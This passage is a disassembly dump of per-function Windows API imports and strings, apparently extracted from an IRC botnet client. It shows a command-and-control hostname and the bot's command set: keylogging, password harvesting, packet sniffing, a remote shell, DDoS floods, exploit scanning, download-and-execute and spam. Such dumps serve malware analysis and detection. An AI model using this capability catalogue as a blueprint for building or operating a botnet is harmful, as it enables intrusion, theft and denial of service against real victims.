	NTDLL.RtlGetLastWin32Error
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_41DFE6(8dd2):
	KERNEL32.GetFileType
	NTDLL.RtlGetLastWin32Error

sub_409105(8e50):
	USER32.OpenClipboard
	USER32.GetClipboardData
	KERNEL32.GlobalLock
	KERNEL32.GlobalUnlock
	USER32.CloseClipboard

sub_4D1177(906d):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.ReadFile

sub_417919(91cb):
	NTDLL.RtlGetLastWin32Error

sub_409448(92a8):
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry

sub_41CEB7(94b9):
	KERNEL32.WriteFile
	NTDLL.RtlGetLastWin32Error

sub_417AD9(95ea):
	KERNEL32.MultiByteToWideChar
	NTDLL.RtlGetLastWin32Error

sub_409410(95eb):
	WS2_32.inet_addr
	WS2_32.gethostbyname

sub_404021(9713):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.connect
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_4DB677(9765):
	"_lclose"

sub_403042(981b):
	WS2_32.htonl
	WS2_32.send

sub_4D9DD4(98ab):
	KERNEL32.InitializeCriticalSection
	KERNEL32.GetModuleHandleA

sub_4DAB3D(9a6d):
	KERNEL32.WideCharToMultiByte
	KERNEL32.MultiByteToWideChar

	"kernel32"
	"GetLongPathNameW"

sub_4D8726(9a73):
	USER32.wvsprintfA
	USER32.wsprintfA

	"\r\n"

sub_41EA59(9a80):
	KERNEL32.MultiByteToWideChar

sub_405FC5(9b43):
	WS2_32.inet_addr
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

sub_40C925(9bb4):
	"Invalid parameter."
	"Server name not found."
	"This network request is not supported."
	"Not enough memory."
	"The name is invalid."
	"Duplicate share name."
	"Invalid for redirected resource."
	"Device or directory does not exist."
	"Level	parameter is invalid."
	"A general failure occurred in	the netwo"...
	"The operation	is allowed only	on the pr"...
	"The user account already exists."
	"The group already exists."
	"The password is shorter than required	("...
	"An unknown error occurred."
	"The computer name is invalid."
	"Share	not found."
	"The user name	could not be found."
	"Network connection not found."

sub_4D83DD(9bbd):
	NTDLL.RtlFreeHeap

sub_4D99C5(9c6a):
	"GetRecordInfoFromTypeInfo"

sub_414FE9(9c71):
	"-[Thread List]-"
	"%d. %s"

sub_409266(9dbe):
	USER32.ExitWindowsEx

	"SeShutdownPrivilege"

sub_4CF818(9e78):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.CloseHandle

sub_41E9F2(9ed0):
	KERNEL32.IsBadReadPtr

sub_41EA0E(9ed0):
	KERNEL32.IsBadWritePtr

sub_4D1CC4(a0dc):
	KERNEL32.lstrcmpi

sub_4CF94C(a17e):
	NTDLL.RtlEnterCriticalSection

sub_403161(a2f7):
	WS2_32.send

sub_402688(a2fd):
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.bind
	WS2_32.closesocket
	WS2_32.WSAIoctl
	WS2_32.recv
	WS2_32.inet_ntoa

	"[PSNIFF]"

sub_413B7C(a3e1):
	WS2_32.WSAStartup
	KERNEL32.ExitThread
	KERNEL32.SetConsoleCtrlHandler
	NTDLL.RtlGetLastWin32Error
	WS2_32.WSACleanup
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.setsockopt
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.WSAGetLastError
	WS2_32.closesocket

sub_4D8C27(a4ab):
	USER32.ChangeDisplaySettingsA
	USER32.MessageBoxA

	"__SEH__ 0x%x at 0x%x"
	"CS :0x%08X SS	:0x%08X	DS :0x%08X"
	"ES :0x%08X FS	:0x%08X	GS :0x%08X"
	"EAX:0x%08X EDX:0x%08X	ECX:0x%08X"
	"ESP:0x%08X EBP:0x%08X	EIP:0x%08X"
	"ESI:0x%08X EDI:0x%08X"
	"ASSERTION FAILED"
	"HAS NO ACCESS TO	EXECUTABLE"
	"EXECUTABLE IS NOT NT IMAGE"
	"DYNAMIC LIBRARY IS NOT NT IMAGE"
	"EXECUTABLE CORRUPTED"
	"PATH IS VERY LONG"
	"COULD NOT OPEN BOXFILE"
	"READ BOXFILE ERROR"
	"BOXFILE CORRUPTED"
	"FEATURE IS NOT IMPLEMENTED"
	"OUT	OF MEMORY"
	"WRAPPERS	TABLE BROKEN"
	"VIRTUALPROTECT BROKEN"
	"COULD NOT CREATE	HEAP"
	"HEAP CORRUPTED"
	"DLL CORRUPTED"
	"INVALID COMPRESSION/ENCRYPTION ALGORITH"...
	"PACKED DLL OR BOXFILE CORRUPTED"
	"HOOKING DLL ERROR"
	"GetModuleName ERROR"
	"BAD	FUULNAME"
	"INVALID DLL RELOCATION"

sub_4D35A2(a65b):
	KERNEL32.CloseHandle

sub_405D10(a6ca):
	WS2_32.socket
	WS2_32.htons
	WS2_32.ioctlsocket
	WS2_32.connect
	WS2_32.select
	WS2_32.closesocket

sub_409E68(a7c4):
	KERNEL32.Sleep

sub_41CA4D(a8e4):
	KERNEL32.GetOEMCP
	KERNEL32.GetCPInfo

sub_40C7A5(a909):
	"Username accounts for	local system:"
	"  %S"
	"Total	users found: %d."

sub_4CF6DE(a956):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.FindFirstFileA
	KERNEL32.FindNextFileA

sub_40BC01(a9bc):
	ADVAPI32.OpenSCManagerA
	NTDLL.RtlGetLastWin32Error
	ADVAPI32.OpenServiceA
	ADVAPI32.ControlService
	ADVAPI32.StartServiceA
	ADVAPI32.DeleteService
	ADVAPI32.CloseServiceHandle

sub_40CB17(aa9b):
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.SetFileAttributesA
	KERNEL32.CopyFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	KERNEL32.DeleteFileA
	WININET.InternetGetConnectedState

	"botid"
	"%s%s"
	"%s\\%s"
	"scorti1.dns2go.com"
	"#faak#"
	"saad."
	"scorti1.dns2go.com"
	"#faak#"
	"saad."
	"#faak#"
	"saad."

sub_4DAC66(ab2e):
	KERNEL32.GetPrivateProfileStringA

sub_4D0950(abc7):
	NTDLL.RtlEnterCriticalSection

sub_413E04(ac14):
	KERNEL32.GetTickCount

	"[bot]-"
	"%s"

sub_408AF2(ac3c):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"Avicap32.dll failed. <%d>"

sub_40D2E0(ae95):
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.WSAStartup
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.GetTickCount
	WS2_32.getsockname
	WS2_32.inet_ntoa
	WS2_32.inet_addr
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA
	KERNEL32.DeleteFileA
	WS2_32.gethostbyaddr
	KERNEL32.TerminateThread
	KERNEL32.GetSystemDirectoryA
	DNSAPI.DnsFlushResolverCache

	" :"
	" "
	"!"
	"PING"
	"PONG	%s\r\n"
	"JOIN	%s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"NOTICE %s :%s\r\n"
	"JOIN	%s %s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"PART"
	"NOTICE %s :%s\r\n"
	"PRIVMSG"
	"NOTICE"
	"SEND"
	"%s"
	"%s has just versioned	me."
	"CHAT"
	"%s"
	"c"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	")"
	"63"
	" "
	" "
	"irc.rndnick"
	"rn"
	"irc.die"
	"irc.di"
	"irc.logout"
	"lo"
	"irc.version"
	"ver"
	"lockdown.on"
	"ld.on"
	"lockdown.off"
	"ld.off"
	"proxy.socks4.on"
	"proxy.s4.on"
	"proxy.socks4.off"
	"Server"
	"daemon.rlogin.off"
	"Server"
	"Server"
	"proxy.redirect.off"
	"daemon.tftp.off"
	"Server"
	"util.findfile.off"
	"util.ff.off"
	"com.ps.off"
	"clone.off"
	"Clone"
	"Secure"
	"root.stop"
	"Scan"
	"Exploitation"
	"root.stats"
	"root.st"
	"irc.r"
	"irc.disconnect"
	"irc.d"
	"irc.quit"
	"irc.q"
	"irc.status"
	"irc.s"
	"irc.id"
	"irc.i"
	"com.rebewt"
	"threads.list"
	"threads.l"
	"irc.aliases"
	"irc.al"
	"irc.log"
	"irc.lg"
	"util.clg"
	"com.netinfo"
	"com.ni"
	"com.sysinfo"
	"com.si"
	"irc.rem0ve"
	"irc.rm0"
	"com.procs"
	"com.ps"
	"com.harvest"
	"com.key"
	"com.uptime"
	"com.up"
	"com.drv"
	"com.testdlls"
	"com.dll"
	"com.opencmd"
	"com.ocmd"
	"com.ocmd.off"
	"Remote shell"
	"[CMD]"
	"irc.who"
	"-[Login List]-"
	""
	"%d. %s"
	"com.getclip"
	"com.gc"
	"util.farp"
	"util.fdns"
	"root.currentip"
	"root.cip"
	"daemon.rlogin.on"
	"daemon.rl.on"
	"daemon.httpd.on"
	"daemon.tftp.on"
	"daemon.tf.on"
	"com.findpass"
	"com.fp"
	"scanall"
	"sa"
	"irc.nick"
	"irc.n"
	"irc.join"
	"irc.j"
	"irc.part"
	"irc.pt"
	"irc.raw"
	"irc.ra"
	"threads.kill"
	"threads.k"
	"clone.quit"
	"clone.q"
	"clone.rn"
	"irc.prefix"
	"irc.pr"
	"com.open"
	"com.o"
	"irc.setserve"
	"irc.se"
	"irc.dns"
	"irc.dn"
	"com.killprocname"
	"com.kpn"
	"com.prockillid"
	"com.pkid"
	"com.delete"
	"com.del"
	"dcc.get"
	"dcc.gt"
	"com.filelist"
	"com.fl"
	"irc.visit"
	"irc.v"
	"mirc.cmd"
	"mirc.cmd"
	"com.cmd"
	"com.cm"
	"com.readfile"
	"com.rf"
	"sniff"
	"on"
	"#f"
	"off"
	"com.keylog"
	"on"
	"file"
	"off"
	"file"
	"#f"
	"com.net"
	"start"
	"stop"
	"pause"
	"continue"
	"delete"
	"share"
	"user"
	"send"
	"%s"
	"com.capture"
	"com.cap"
	"irc.gethost"
	"irc.gh"
	"irc.addalias"
	"irc.aa"
	"irc.privmsg"
	"irc.pm"
	"irc.action"
	"irc.ac"
	"irc.cycle"
	"irc.cy"
	"irc.mode"
	"irc.m"
	"clone.raw"
	"clone.ra"
	"clone.mode"
	"clone.m"
	"clone.nick"
	"clone.ni"
	"clone.join"
	"clone.j"
	"clone.part"
	"clone.p"
	"irc.repeat"
	"irc.rp"
	"irc.delay"
	"irc.de"
	"download.update"
	"download.up"
	"com.execute"
	"com.e"
	"findfile"
	"ff"
	"com.rename"
	"com.mv"
	"ddos.icmp"
	"ddos.ic"
	"clone.make"
	"clone.start"
	"ddos.synf"
	"download.wg"
	"daemon.redirect"
	"daemon.rd"
	"root.ps"
	"clone.pm"
	"clone.action"
	"clone.ac"
	"advscan"
	"asc"
	"ddos.udpf"
	"u"
	"ddos.pingflood"
	"ddos.pingf"
	"p"
	"ddos.tcpf"
	"util.email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"util.httpcon"
	"util.hcon"
	"ftp.upload"
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"syn"
	"ack"
	"random"
	"Spoofed"
	"Normal"
	"ICMP.dll not available"
	"#f"
	"Sequential"
	"[%s]	* %s %s"
	"[%s]	<%s> %s"
	"botid"
	"%s%s.exe"
	"repeat"
	"MODE	%s\r\n"
	"JOIN	%s %s\r\n"
	"screen"
	"drivers"
	"frame"
	"video"
	"r"
	"\n"
	"%s"
	"open"
	"QUIT :later\r\n"
	"all"
	"JOIN	%s %s\r\n"
	"NICK	%s\r\n"
	"#f"
	"Sequential"
	"full"
	"%s"
	"botid"
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"QUIT :reconnecting\r\n"
	"secure"
	"sec"
	"Unsecuring"
	"ABOSAL7 tool"
	"NICK	%s\r\n"
	"!"
	"~"
	"cool"
	"NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
	"NOTICE %s :You've been logged.\r\n"
	"NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
	"NOTICE %s :You've been logged.\r\n"
	"cool"
	"USERHOST %s\r\n"
	"+xi"
	"MODE	%s %s\r\n"
	"JOIN	%s %s\r\n"

sub_420CE3(aeff):
	KERNEL32.RaiseException

sub_40C0F0(afa1):
	KERNEL32.MultiByteToWideChar

sub_4CC216(afdb):
	USER32.GetWindowThreadProcessId
	KERNEL32.GetCurrentProcessId
	USER32.DestroyWindow
	USER32.SetActiveWindow
	USER32.SetForegroundWindow

sub_4D931F(b007):
	KERNEL32.GetProcAddress

	"DllGetClassObject"

sub_4D50D0(b00b):
	KERNEL32.RaiseException
	KERNEL32.GetModuleHandleA

sub_4CF91D(b046):
	NTDLL.RtlLeaveCriticalSection

sub_4D8397(b0d3):
	KERNEL32.HeapCreate

sub_4CF12B(b2d1):
	NTDLL.RtlLeaveCriticalSection

sub_401A76(b2d9):
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htons
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	WS2_32.WSACleanup

sub_40B6AD(b2db):
	KERNEL32.GetDriveTypeA

	"Cdrom"
	"Network"
	"Disk"
	"Invalid"
	"Unknown"

sub_4DB460(b437):
	KERNEL32.SetFilePointer

sub_4D3610(b6c7):
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	KERNEL32.GetFileTime
	USER32.CharUpperBuffA

sub_4D5A41(b6e5):
	KERNEL32.GetModuleFileNameA

sub_4D8C17(b7ba):
	KERNEL32.SetUnhandledExceptionFilter

sub_4DDAB0(b7ba):
	":API:NopeFunc"

sub_4DAFC6(b851):
	KERNEL32.GetModuleHandleA
	KERNEL32.WideCharToMultiByte

sub_417CDA(b873):
	KERNEL32.DeleteFileA
	NTDLL.RtlGetLastWin32Error

sub_4DA7AF(b921):
	KERNEL32.GetFileAttributesA

sub_4D8892(b9ee):
	KERNEL32.GetCurrentProcessId
	KERNEL32.GetTempPathA
	USER32.wsprintfA
	USER32.CharUpperBuffA

	"MBX@%X@%X@%X.###"
	"MBX@%X@%X.###"
	"MBX@%X@*.###"

sub_40A693(ba2e):
	KERNEL32.ExitThread

sub_4DA0C8(bac7):
	NTDLL.RtlEnterCriticalSection
	KERNEL32.ExitProcess
	KERNEL32.GetCurrentProcess
	KERNEL32.TerminateProcess

sub_4D848C(bb4f):
	NTDLL.RtlEnterCriticalSection
	USER32.wsprintfA
	USER32.wvsprintfA

	"Error	at %s:%d\n\nReason: "
	"\n"

sub_405756(bb8e):
	" %s:	%d,"
	" Total: %d in %s."

sub_4DBC4B(bbd9):
	"invalid block type"
	"invalid stored block lengths"
	"too many	length or distance symbols"
	"invalid bit length repeat"

sub_41358D(bbe1):
	KERNEL32.GetCurrentProcess
	ADVAPI32.OpenProcessToken
	ADVAPI32.LookupPrivilegeValueA
	ADVAPI32.AdjustTokenPrivileges

sub_4D2DD0(bc12):
	KERNEL32.InitializeCriticalSection
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFullPathNameA
	KERNEL32.GetProcAddress
	USER32.CharUpperBuffA
	KERNEL32.GetShortPathNameA
	KERNEL32.FindFirstFileA
	KERNEL32.lstrcmpi
	KERNEL32.FindNextFileA
	KERNEL32.FindClose

	"GetLongPathNameA"
	"kernel32"

sub_40D000(bc9b):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.closesocket
	KERNEL32.Sleep

sub_4DAA24(bd10):
	KERNEL32.GetModuleFileNameA

sub_4CF7E9(bd9c):
	NTDLL.RtlLeaveCriticalSection

sub_407410(be59):
	KERNEL32.ExitThread

sub_4D98C0(c189):
	KERNEL32.GetModuleHandleA

	"CoGetClassObject"

sub_40D168(c24e):
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.recv

	"PASS	%s\r\n"

sub_405053(c265):
	WS2_32.send
	WS2_32.WSAGetLastError

sub_4049CD(c682):
	WS2_32.send
	KERNEL32.FileTimeToLocalFileTime
	KERNEL32.FileTimeToSystemTime
	KERNEL32.Sleep

	"\n"
	"PRIVMSG %s :Searching	for: %s\r\n"
	"\r\n\r\n